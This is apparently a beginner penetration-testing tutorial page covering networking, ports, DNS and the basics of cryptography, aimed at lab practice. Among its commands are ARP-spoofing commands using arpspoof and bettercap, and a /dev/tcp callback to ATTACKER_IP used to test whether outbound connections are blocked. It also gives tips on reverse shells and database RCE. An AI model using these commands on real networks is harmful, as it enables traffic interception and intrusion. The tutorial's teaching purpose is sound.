kavklaw@llm ~ /learn/phase-1
← Back to Learning Path

Phase 1: Foundations

The fundamentals that everything else builds on. Skip these at your own peril.

01

Phase 1: Foundations

Networking, Linux, crypto, and how the web works. Everything else builds on this.

πŸ—ΊοΈ Why Foundations Matter β€” The Big Picture

You might be tempted to skip this phase and jump straight to hacking boxes. Don't. Every experienced pentester will tell you the same thing: the people who struggle the most are the ones who skipped the fundamentals.

Here's the reality β€” you cannot hack a network you don't understand. When you run Nmap and see "port 445/tcp open microsoft-ds," you need to know that's SMB, that it's a file-sharing protocol, that it runs on Windows, and that it has a history of critical vulnerabilities. When you see a web app returning a 302 redirect with a Set-Cookie header, you need to understand HTTP well enough to know what's happening and where to look for weaknesses.

This phase covers four pillars that everything else in this learning path builds on:

🌐 Networking β€” How Computers Talk to Each Other

What "networking fundamentals" actually means: It's the knowledge of how data moves between computers. When you type a URL into your browser, dozens of protocols kick into action β€” DNS resolves the domain to an IP, TCP establishes a connection, TLS encrypts the channel, HTTP carries your request. As a pentester, you'll exploit weaknesses at every one of these layers.

You'll learn about the OSI model β€” a 7-layer framework that describes how network communication works. You don't need to memorize every layer (nobody cares about the Presentation layer in practice), but you DO need to understand the layers that matter for pentesting: how IP routing works (Layer 3), how TCP connections are established (Layer 4), and how application protocols like HTTP and DNS function (Layer 7). When you understand these layers, tools like Nmap, Wireshark, and Burp Suite stop being magic and start making sense.

🌍 Web Technologies β€” How the Internet Actually Works

What "web technologies" means in practical terms: When you open a website, your browser sends an HTTP request to a server. That request includes a method (GET, POST), headers (cookies, user-agent, host), and sometimes a body (form data, JSON). The server processes it and sends back a response with a status code (200 OK, 404 Not Found, 500 Error), its own headers, and the page content.

Understanding this request/response cycle is critical because most pentesting starts with web applications. SQL injection, XSS, SSRF, IDOR β€” all of these web vulnerabilities exist in how the server processes your HTTP requests. If you don't understand HTTP, you can't exploit web apps. Period.

🐧 Linux β€” Your Operating System for Everything

Why Linux matters: Three reasons. First, most servers on the internet run Linux β€” the targets you're hacking are probably Linux boxes. Second, Kali (your pentesting OS) IS Linux β€” you need to be comfortable navigating it. Third, nearly every pentesting tool is built for Linux β€” from Nmap to Burp Suite to Metasploit to custom Python scripts.

You don't need to be a Linux sysadmin, but you absolutely need to be comfortable with the command line: navigating directories, reading files, piping commands together, managing processes, and understanding file permissions. If you can't do grep -r "password" /var/www/ without thinking, you're not ready for pentesting.

πŸ”‘ Cryptography β€” The Locks You'll Be Picking

Crypto is everywhere in security β€” passwords are hashed, connections are encrypted, tokens are signed. You'll encounter MD5 hashes to crack, TLS certificates to inspect, JWTs to forge, and Kerberos tickets to abuse. You don't need a math degree, but you need to understand the difference between encryption (reversible) and hashing (one-way), and how common algorithms work at a high level.

🎯 The goal of this phase: By the end of Phase 1, you should be able to read an Nmap scan and understand every line of output. You should be able to intercept an HTTP request in Burp Suite and know exactly what you're looking at. You should feel at home in a Linux terminal. These skills are the foundation that Phases 2–6 are built on. Take the time to learn them well.

🌐 Networking Fundamentals

Everything in pentesting travels over a network. You need to understand the basics before anything else makes sense.

The OSI Model β€” Think in Layers

Every network communication happens in layers. When you send a web request, it travels through seven layers β€” from your application (Layer 7) down to electrical signals on a wire (Layer 1). As a pentester, you'll mostly work with:

  • Layer 7 (Application) β€” HTTP, DNS, FTP, SSH. This is where web exploits live.
  • Layer 4 (Transport) β€” TCP and UDP. Understanding TCP's three-way handshake is essential for port scanning.
  • Layer 3 (Network) β€” IP addresses and routing. How packets find their way to targets.
  • Layer 2 (Data Link) β€” MAC addresses and ARP. Critical for MITM attacks and network pivoting.
  • Layer 1 (Physical) β€” Cables, Wi-Fi signals. Relevant for physical pentests and wireless attacks.

OSI Model β€” Visual Reference

Here's the full OSI model mapped to protocols, pentest tools, and common attacks at each layer. Bookmark this β€” you'll reference it constantly:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                          THE OSI MODEL β€” PENTESTER'S VIEW                          β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ LAYER β”‚  NAME         β”‚  PROTOCOLS       β”‚  PENTEST TOOLS    β”‚  EXAMPLE ATTACKS     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   7   β”‚ Application   β”‚ HTTP, HTTPS,     β”‚ Burp Suite,       β”‚ SQLi, XSS, SSRF,    β”‚
β”‚       β”‚               β”‚ DNS, FTP, SSH,   β”‚ ffuf, Nikto,      β”‚ Command Injection,  β”‚
β”‚       β”‚               β”‚ SMTP, SNMP       β”‚ sqlmap, Gobuster  β”‚ Directory Traversal β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   6   β”‚ Presentation  β”‚ SSL/TLS,         β”‚ testssl.sh,       β”‚ SSL stripping,      β”‚
β”‚       β”‚               β”‚ MIME, ASCII,     β”‚ sslyze,           β”‚ Downgrade attacks,  β”‚
β”‚       β”‚               β”‚ JPEG, encryption β”‚ openssl s_client  β”‚ POODLE, BEAST       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   5   β”‚ Session       β”‚ NetBIOS, RPC,    β”‚ rpcclient, enum4  β”‚ Session hijacking,  β”‚
β”‚       β”‚               β”‚ SMB sessions,    β”‚ linux, smbclient, β”‚ Pass-the-hash,      β”‚
β”‚       β”‚               β”‚ SOCKS            β”‚ proxychains       β”‚ Token replay        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   4   β”‚ Transport     β”‚ TCP, UDP         β”‚ Nmap (-sS/-sU),   β”‚ SYN flood (DoS),    β”‚
β”‚       β”‚               β”‚                  β”‚ hping3, masscan   β”‚ Port scanning,      β”‚
β”‚       β”‚               β”‚                  β”‚                   β”‚ UDP amplification   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   3   β”‚ Network       β”‚ IP, ICMP,        β”‚ Nmap (-sn), ping, β”‚ IP spoofing,        β”‚
β”‚       β”‚               β”‚ IGMP, IPsec      β”‚ traceroute,       β”‚ Route manipulation, β”‚
β”‚       β”‚               β”‚                  β”‚ Scapy             β”‚ ICMP tunneling      β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   2   β”‚ Data Link     β”‚ Ethernet, ARP,   β”‚ arpspoof,         β”‚ ARP poisoning,      β”‚
β”‚       β”‚               β”‚ 802.11 (Wi-Fi),  β”‚ bettercap,        β”‚ MAC flooding,       β”‚
β”‚       β”‚               β”‚ PPP, VLAN        β”‚ macchanger,aircrackβ”‚ VLAN hopping       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   1   β”‚ Physical      β”‚ Ethernet cables, β”‚ Wi-Fi adapters,   β”‚ Evil twin AP,       β”‚
β”‚       β”‚               β”‚ Wi-Fi radio,     β”‚ HackRF, Flipper   β”‚ Cable tapping,      β”‚
β”‚       β”‚               β”‚ Fiber, USB       β”‚ Zero, USB Rubber  β”‚ Rogue devices,      β”‚
β”‚       β”‚               β”‚                  β”‚ Ducky, LAN Turtle β”‚ Keystroke injection β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

  Data flows DOWN the stack when sending (encapsulation):
    Application Data β†’ [TCP Header + Data] β†’ [IP Header + TCP + Data] β†’ [Frame + IP + TCP + Data]

  Data flows UP the stack when receiving (decapsulation):
    [Frame] β†’ [IP Packet] β†’ [TCP Segment] β†’ [Application Data]
πŸ’‘ Pro tip: In practice, most pentesting happens at Layers 7, 4, and 3. But don't ignore Layer 2 β€” if you get on the same LAN (internal pentest, compromised host), ARP spoofing and VLAN attacks are devastating. And Layer 1 matters for physical pentests β€” dropping a rogue device on a network is a real attack vector.

TCP vs UDP β€” Deep Dive

TCP (Transmission Control Protocol) is connection-oriented. Before sending data, two machines perform a "three-way handshake": SYN β†’ SYN-ACK β†’ ACK. This is reliable but slower. Most services (HTTP, SSH, FTP) use TCP.

UDP (User Datagram Protocol) is connectionless β€” it just sends packets without confirming receipt. Faster but unreliable. DNS queries, SNMP, TFTP, and streaming protocols use UDP.

Why this matters: Nmap's default SYN scan exploits the TCP handshake β€” it sends SYN, waits for SYN-ACK (port open) or RST (port closed), then never completes the handshake. This is why it's called a "stealth" scan.

# TCP three-way handshake
Client β†’ SYN          β†’ Server    (Hey, can we talk?)
Client ← SYN-ACK      ← Server    (Sure, let's talk.)
Client β†’ ACK          β†’ Server    (Great, we're connected.)

# Nmap SYN scan (half-open)
Client β†’ SYN          β†’ Server    (Hey, can we talk?)
Client ← SYN-ACK      ← Server    (Sure!)
Client β†’ RST          β†’ Server    (Never mind. *walks away*)

TCP Flags β€” What They Mean

TCP packets carry flags that control the connection state. Understanding these is essential for reading packet captures and understanding firewall rules:

  • SYN β€” "I want to start a connection." First step in the handshake.
  • ACK β€” "I acknowledge your data." Present in nearly every packet after the handshake.
  • FIN β€” "I'm done sending, let's close gracefully."
  • RST β€” "Something's wrong, abort the connection immediately." Sent when a port is closed.
  • PSH β€” "Process this data immediately, don't buffer it." Common in interactive sessions.
  • URG β€” "This data is urgent, process it first." Rarely used in practice.
# Nmap uses flag combinations for different scan types:
nmap -sS target    # SYN scan (default, sends SYN, reads response)
nmap -sA target    # ACK scan (firewall detection β€” filtered vs unfiltered)
nmap -sF target    # FIN scan (stealthy β€” some firewalls only look for SYN)
nmap -sX target    # Xmas scan (FIN+PSH+URG β€” lights up like a Christmas tree)
nmap -sN target    # NULL scan (no flags set β€” stealthy against some stacks)

ARP β€” How Devices Find Each Other on a LAN

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. When your machine wants to talk to 10.10.10.5, it broadcasts "Who has 10.10.10.5?" and the target replies with its MAC address.

Why pentesters care: ARP has no authentication. Anyone on the network can say "I'm 10.10.10.5" β€” this is ARP spoofing/poisoning, the foundation of man-in-the-middle attacks on local networks.

# View your ARP cache
arp -a

# ARP spoofing with arpspoof (dsniff package)
# Tell the victim that YOU are the gateway:
sudo arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP
# Tell the gateway that YOU are the victim:
sudo arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP
# Now all traffic flows through you β€” inspect with Wireshark

# Better tool: bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

ICMP β€” Ping and Traceroute

ICMP (Internet Control Message Protocol) is used for network diagnostics. The most common uses:

  • Echo Request/Reply (ping): "Are you alive?" β€” the simplest connectivity test
  • Destination Unreachable: "I can't reach that port/host" β€” tells you about firewalls
  • Time Exceeded: Used by traceroute to map network hops
# Ping sweep β€” which hosts are alive?
nmap -sn 10.10.10.0/24

# Traceroute β€” map the path to target
traceroute 10.10.10.5

# Some boxes block ICMP β€” no ping response doesn't mean it's down!
nmap -Pn target    # Skip host discovery, scan anyway
🧠 Knowledge Check β€” Networking Basics
What is the key difference between TCP and UDP?
TCP uses a three-way handshake (SYN β†’ SYN-ACK β†’ ACK) to establish a reliable connection before sending data. UDP skips this β€” it just fires packets without confirmation. TCP is reliable but slower; UDP is fast but packets can be lost. Most services (HTTP, SSH, FTP) use TCP; DNS queries, SNMP, and streaming use UDP.
In a Nmap SYN scan, what TCP flags does the scanner send to detect open ports?
A SYN scan (-sS) sends only a SYN packet. If the port is open, the target responds with SYN-ACK. Nmap then sends RST to close without completing the handshake β€” that's why it's called "half-open" or "stealth" scan. FIN+PSH+URG is the Xmas scan (-sX), a different technique.
Which layer of the OSI model does ARP operate at?
ARP maps IP addresses (Layer 3) to MAC addresses (Layer 2), operating at the Data Link layer. It broadcasts "Who has this IP?" on the local network. Since ARP has no authentication, anyone can claim to have any IP β€” this is ARP spoofing, the foundation of man-in-the-middle attacks on LANs.

NAT and Firewalls β€” Why You Can't Always Connect Directly

NAT (Network Address Translation) lets multiple devices share one public IP. Your home router does this β€” all devices appear as one IP externally. In pentesting labs, understanding NAT helps you troubleshoot VPN connectivity and understand why reverse shells need your tun0 IP, not your LAN IP.

Firewalls filter traffic based on rules. Common behaviors you'll encounter:

  • Filtered ports in nmap β€” a firewall is silently dropping packets (no RST response)
  • Egress filtering β€” the target can receive connections but can't connect back to you (reverse shells fail, try bind shells)
  • Whitelisted ports only β€” only ports 80/443 allowed outbound (tunnel your shell through HTTP)
# Testing egress filtering from a compromised box:
# Can the target reach you?
# On your machine:
nc -lvnp 80        # Listen on port 80
# On the target:
bash -c 'echo test > /dev/tcp/ATTACKER_IP/80'   # Try common ports: 80, 443, 53

# If only 80/443 works outbound, use:
# - Reverse shell over port 443
# - HTTP tunneling (chisel, ligolo-ng)
# - DNS tunneling (iodine, dnscat2)

IP Addresses and Subnets

Every device on a network has an IP address. In pentesting, you'll deal with:

  • Private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 β€” internal networks
  • Localhost: 127.0.0.1 β€” the machine talking to itself
  • CIDR notation: 10.10.10.0/24 means 256 addresses (10.10.10.0–10.10.10.255)

HTB machines typically live on 10.10.10.0/24 or 10.129.0.0/16. Your VPN tunnel gets an address on 10.10.14.0/23 or similar.

Subnet Cheat Sheet

You'll encounter CIDR notation constantly in pentesting. Here's a quick reference so you never have to calculate subnet sizes on the fly:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ CIDR       β”‚ Subnet Mask                  β”‚ Total Addrs    β”‚ Usable Hosts β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ /32        β”‚ 255.255.255.255              β”‚ 1              β”‚ 1 (single)   β”‚
β”‚ /31        β”‚ 255.255.255.254              β”‚ 2              β”‚ 2 (P2P link) β”‚
β”‚ /30        β”‚ 255.255.255.252              β”‚ 4              β”‚ 2            β”‚
β”‚ /29        β”‚ 255.255.255.248              β”‚ 8              β”‚ 6            β”‚
β”‚ /28        β”‚ 255.255.255.240              β”‚ 16             β”‚ 14           β”‚
β”‚ /27        β”‚ 255.255.255.224              β”‚ 32             β”‚ 30           β”‚
β”‚ /26        β”‚ 255.255.255.192              β”‚ 64             β”‚ 62           β”‚
β”‚ /25        β”‚ 255.255.255.128              β”‚ 128            β”‚ 126          β”‚
β”‚ /24        β”‚ 255.255.255.0               β”‚ 256            β”‚ 254  ← MOST COMMON  β”‚
β”‚ /23        β”‚ 255.255.254.0               β”‚ 512            β”‚ 510          β”‚
β”‚ /22        β”‚ 255.255.252.0               β”‚ 1,024          β”‚ 1,022        β”‚
β”‚ /21        β”‚ 255.255.248.0               β”‚ 2,048          β”‚ 2,046        β”‚
β”‚ /20        β”‚ 255.255.240.0               β”‚ 4,096          β”‚ 4,094        β”‚
β”‚ /16        β”‚ 255.255.0.0                 β”‚ 65,536         β”‚ 65,534       β”‚
β”‚ /8         β”‚ 255.0.0.0                   β”‚ 16,777,216     β”‚ 16,777,214   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Quick math: Total addresses = 2^(32 - CIDR)
  /24 = 2^8  = 256
  /16 = 2^16 = 65,536
  /8  = 2^24 = 16,777,216
πŸ’‘ Pro tip: In CTF/HTB contexts, /24 is the most common. But in real engagements, companies often use /16 or /8 internal networks. Scanning a /16 takes 256Γ— longer than a /24 β€” plan your scans accordingly and use tools like masscan for speed on large ranges.

Common Ports β€” Know These by Heart

When you see an Nmap scan, you need to instantly know what service runs on each port and what attack vectors it opens up. Here's your comprehensive reference:

🌐 Web Services
  • 80 (HTTP) β€” Unencrypted web traffic. Most common starting point for pentesting. Pentesters love it: directory brute-forcing, SQL injection, XSS β€” the works.
  • 443 (HTTPS) β€” Encrypted web traffic. Same attacks as HTTP, but the traffic is encrypted in transit. Check the TLS certificate for hostnames and subdomain hints.
  • 8080 / 8443 (Alt HTTP/S) β€” Alternative web ports. Often used by development servers, proxies (Tomcat defaults to 8080), or secondary web apps that admins forgot about.
πŸ–₯️ Remote Access
  • 22 (SSH) β€” Secure shell. Encrypted remote login. Pentesters target it for brute-force attacks, key-based auth bypass, and it's your best friend when you get credentials.
  • 23 (Telnet) β€” Unencrypted remote login. Everything sent in plaintext including passwords. If you find Telnet open, it's Christmas morning.
  • 3389 (RDP) β€” Remote Desktop Protocol (Windows). GUI access to Windows boxes. Vulnerable to BlueKeep (CVE-2019-0708). Default on many Windows servers.
  • 5900 (VNC) β€” Virtual Network Computing. Remote desktop access, often with weak or no authentication. Sometimes the password is stored in plaintext.
πŸ“ File Transfer
  • 21 (FTP) β€” File Transfer Protocol. Often allows anonymous login. Credentials sent in plaintext. Check for anonymous access and writable directories.
  • 69 (TFTP) β€” Trivial FTP (UDP). No authentication at all. Used for booting devices. If open, you can often download config files directly.
  • 445 (SMB) β€” Server Message Block. Windows file sharing. Ground zero for EternalBlue, relay attacks, and credential harvesting. Always enumerate shares.
  • 2049 (NFS) β€” Network File System. Unix/Linux file sharing. Misconfigured exports can let anyone mount and read/write remote filesystems.
πŸ“§ Mail
  • 25 (SMTP) β€” Simple Mail Transfer Protocol. Sending email. Pentesters use it for user enumeration (VRFY/EXPN commands) and phishing relay.
  • 110 (POP3) β€” Post Office Protocol. Receiving email (downloads and deletes from server). Credentials in plaintext.
  • 143 (IMAP) β€” Internet Message Access Protocol. Receiving email (syncs with server). More features than POP3, same credential risk.
  • 587 (SMTP Submission) β€” Authenticated SMTP for sending mail. Often requires credentials β€” brute-forceable.
  • 993 / 995 (IMAPS / POP3S) β€” Encrypted versions of IMAP and POP3. More secure but still targets for credential attacks.
πŸ—„οΈ Databases
  • 3306 (MySQL) β€” The most popular open-source database. Default creds, SQL injection via web apps, and UDF for code execution.
  • 5432 (PostgreSQL) β€” Advanced open-source database. Supports command execution via COPY TO/FROM PROGRAM β€” instant RCE if you get access.
  • 1433 (MSSQL) β€” Microsoft SQL Server. xp_cmdshell gives direct OS command execution. Common in Active Directory environments.
  • 1521 (Oracle) β€” Oracle Database. Complex but powerful. TNS listener attacks and default SIDs are common entry points.
  • 27017 (MongoDB) β€” NoSQL database. Historically shipped with no authentication by default. Often exposed to the internet with zero access controls.
  • 6379 (Redis) β€” In-memory data store. No authentication by default. Can write SSH keys or web shells to the filesystem for RCE.
πŸ“‚ Directory & Name Services
  • 389 (LDAP) β€” Lightweight Directory Access Protocol. The backbone of Active Directory. Anonymous binds can leak usernames, groups, and password policies.
  • 636 (LDAPS) β€” LDAP over SSL. Same data, encrypted connection. Still vulnerable to misconfigured access controls.
  • 88 (Kerberos) β€” Authentication protocol for AD. Target for AS-REP Roasting, Kerberoasting, and Golden/Silver Ticket attacks.
  • 53 (DNS) β€” Domain Name System. Zone transfers leak all records. DNS tunneling exfiltrates data. Always enumerate.
πŸ”§ Other Important Ports
  • 111 (rpcbind) β€” Maps RPC services to ports. Enumerating it reveals what services are running (NFS, NIS, etc.).
  • 161 / 162 (SNMP) β€” Simple Network Management Protocol. Default community strings ("public", "private") leak system info, running processes, and network configs.
  • 873 (rsync) β€” File synchronization. Sometimes allows anonymous access to sensitive directories.
  • 5985 / 5986 (WinRM) β€” Windows Remote Management (HTTP/HTTPS). If you have valid creds, instant PowerShell access via evil-winrm.
🎯 Remember: Nmap gives you port numbers. Your brain turns them into attack vectors. Memorize the top 20 ports and you'll read scan results like a native language. Use our Common Ports Cheat Sheet until they're second nature.

DNS β€” The Internet's Phone Book

DNS (Domain Name System) translates human-readable names (google.com) to IP addresses (142.250.80.14). In pentesting, DNS matters a lot because:

  • Virtual hosts: Multiple websites share one IP, distinguished by hostname
  • Subdomain enumeration can reveal hidden services
  • DNS zone transfers (AXFR) can leak entire domain records if misconfigured
  • The /etc/hosts file overrides DNS β€” essential for HTB machines
  • DNS record types matter: A (IPv4), AAAA (IPv6), CNAME (alias), MX (mail), TXT (SPF, DKIM, verification), NS (nameservers), SRV (service discovery)
# Common DNS enumeration commands
dig target.htb ANY @10.10.10.5          # Query all record types
dig axfr target.htb @10.10.10.5         # Attempt zone transfer
nslookup -type=any target.htb 10.10.10.5
host -l target.htb 10.10.10.5           # Another zone transfer attempt

# Add to /etc/hosts for HTB
echo "10.10.10.5  target.htb" | sudo tee -a /etc/hosts

DNS Record Types β€” Deep Dive

DNS isn't just A records. Each record type serves a different purpose, and pentesters can extract valuable intel from all of them:

  • A (Address) β€” Maps a domain to an IPv4 address. The most basic record. Multiple A records = load balancing. Pentesters check for internal IPs accidentally exposed in public DNS.
  • AAAA (IPv6 Address) β€” Same as A but for IPv6. Often overlooked by admins β€” the IPv6 interface might have different firewall rules or services exposed.
  • CNAME (Canonical Name) β€” An alias pointing to another domain. www.example.com β†’ example.com. Dangling CNAMEs (pointing to decommissioned services) enable subdomain takeover attacks.
  • MX (Mail Exchanger) β€” Specifies mail servers for the domain. Reveals mail infrastructure, useful for phishing attacks and understanding the target's email security (SPF/DKIM/DMARC).
  • NS (Name Server) β€” Identifies authoritative DNS servers. Targeting NS servers directly can reveal zone information. Misconfigured NS records can enable DNS hijacking.
  • TXT (Text) β€” Arbitrary text data. Contains SPF records (email auth), DKIM keys, domain verification tokens, and sometimes sensitive info admins stuffed in there. Always check TXT records.
  • SRV (Service) β€” Specifies hostname and port for specific services. _ldap._tcp.domain.com reveals AD domain controllers. _sip._tcp reveals VoIP servers. Gold for service discovery.
  • SOA (Start of Authority) β€” Contains zone admin info, serial number, and refresh intervals. Reveals the primary DNS server and admin email (which might be a real person's address).
  • PTR (Pointer) β€” Reverse DNS β€” maps IP addresses back to hostnames. Useful for discovering what domains are hosted on a specific IP. Run reverse lookups on every IP you find.
# Enumerate ALL record types for a domain
dig target.htb ANY @10.10.10.5

# Query specific record types
dig target.htb A                    # IPv4 addresses
dig target.htb AAAA                 # IPv6 addresses
dig target.htb MX                   # Mail servers
dig target.htb TXT                  # SPF, DKIM, verification tokens
dig target.htb NS                   # Name servers
dig target.htb SRV _ldap._tcp.target.htb  # Service discovery (AD DCs)

# Reverse DNS lookup
dig -x 10.10.10.5                   # What hostname is at this IP?
nmap -sL 10.10.10.0/24              # Reverse DNS for an entire subnet

# Brute-force subdomains via DNS
gobuster dns -d target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dnsenum target.htb                  # Automated DNS enumeration
fierce --domain target.htb          # DNS reconnaissance tool
πŸ’‘ Pro tip: TXT records are a goldmine. Companies use them for domain verification (Google, Microsoft 365, AWS), SPF email policies, and DKIM keys. Sometimes you'll find internal hostnames, IP ranges, or even configuration details accidentally published as TXT records. dig target.htb TXT should be one of your first recon commands.

πŸ”‘ Cryptography Basics

You don't need to be a mathematician, but you absolutely need to understand the building blocks. Crypto shows up everywhere β€” passwords, HTTPS, tokens, file encryption, AD Kerberos tickets.

Symmetric vs Asymmetric Encryption

  • Symmetric (one key): Same key encrypts and decrypts. Fast. Used for bulk data encryption. Examples: AES, DES, ChaCha20. Think of it as a padlock where both people have the same key.
  • Asymmetric (key pair): Public key encrypts, private key decrypts (or vice versa for signing). Slower, but solves the key distribution problem. Examples: RSA, ECDSA, Ed25519. Think of it as a mailbox β€” anyone can put mail in (public key), only you can take it out (private key).
# Generating SSH keys (asymmetric β€” Ed25519)
ssh-keygen -t ed25519 -C "pentester@kali"
# Creates: ~/.ssh/id_ed25519 (private) and ~/.ssh/id_ed25519.pub (public)

# Encrypting a file with symmetric AES
openssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc
# Decrypting
openssl enc -d -aes-256-cbc -in secret.enc -out secret.txt

# RSA key operations (you'll see these in CTFs)
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

Hashing β€” One-Way Functions

A hash function takes input of any length and produces a fixed-length output. It's a one-way function β€” you can't reverse it to get the original input. Common uses: password storage, file integrity, digital signatures.

  • MD5 β€” 128-bit, fast, broken (collisions found). Still seen everywhere in CTFs.
  • SHA-1 β€” 160-bit, deprecated, collisions demonstrated by Google.
